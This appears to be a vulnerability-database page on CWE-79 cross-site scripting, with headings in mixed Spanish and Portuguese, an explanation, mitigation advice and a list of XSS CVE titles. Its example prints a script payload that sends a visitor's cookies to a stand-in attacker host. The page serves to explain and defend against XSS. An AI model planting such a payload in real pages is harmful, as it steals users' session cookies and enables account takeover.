Fallos del tipo CWE-79

29.611 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-81754HIGHVigilant <= 2.10.2 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-7556HIGHFV Flowplayer Video Player <= 7.5.49.7212 - Unauthenticated Stored Cross-Site Scripting via Comment TextEPSS 0.4%CVE-2026-8489MEDIUMUltimate Member <= 2.11.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Non-HTML Custom Textarea Profile FieldEPSS 0.4%CVE-2024-25099MEDIUMWordPress Paytium: Mollie payment forms & donations Plugin <= 4.4.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-5400MEDIUMRedux Framework <= 4.5.13 - Authenticated (Subscriber+) Cross-Site Scripting via User InputEPSS 0.4%CVE-2023-30338MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in Emlog Pro v2.0.3 allows attackers to execute arbitrary web scripts or HTML viaEPSS 0.4%CVE-2026-16685MEDIUMDownload Manager <= 3.3.66 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'icon' Shortcode AttributeEPSS 0.4%CVE-2026-4429MEDIUMOSM <= 6.1.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'marker_name' Shortcode AttributeEPSS 0.4%CVE-2026-10095MEDIUMWP Photo Album Plus <= 9.1.13.005 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'subtext' Shortcode AttributeEPSS 0.4%CVE-2026-13458MEDIUMGenerateBlocks <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Dynamic Tag Injection in HTML AttributesEPSS 0.4%CVE-2026-15284MEDIUMKing Addons for Elementor <= 51.1.62 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'form_page_id' ParameterEPSS 0.4%CVE-2024-30431HIGHWordPress Mang Board WP plugin <= 1.8.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-25097MEDIUMWordPress TNC PDF viewer Plugin <= 2.8.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-9125MEDIUMThe Ultimate Video Player For WordPress <= 4.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'link_url' Shortcode AttributeEPSS 0.4%CVE-2026-61501MEDIUMRejetto HFS < 3.2.1 Stored XSS in Admin Log ViewerEPSS 0.4%CVE-2024-45429MEDIUMCross-site scripting vulnerability exists in Advanced Custom Fields versions 6.3.5 and earlier and Advanced Custom Fields Pro versions 6.3.5EPSS 0.4%CVE-2024-29110HIGHWordPress Tablesome plugin <= 1.0.27 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-7814MEDIUMCodeAstro Online Railway Reservation System Add Employee Page admin-add-employee.php cross site scriptingEPSS 0.4%CVE-2024-35167MEDIUMWordPress Envo's Elementor Templates & Widgets for WooCommerce plugin <=1.4.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-9643HIGHWP Meta SEO <= 4.5.18 - Unauthenticated Stored Cross-Site Scripting via REQUEST_URI in 404 LoggingEPSS 0.4%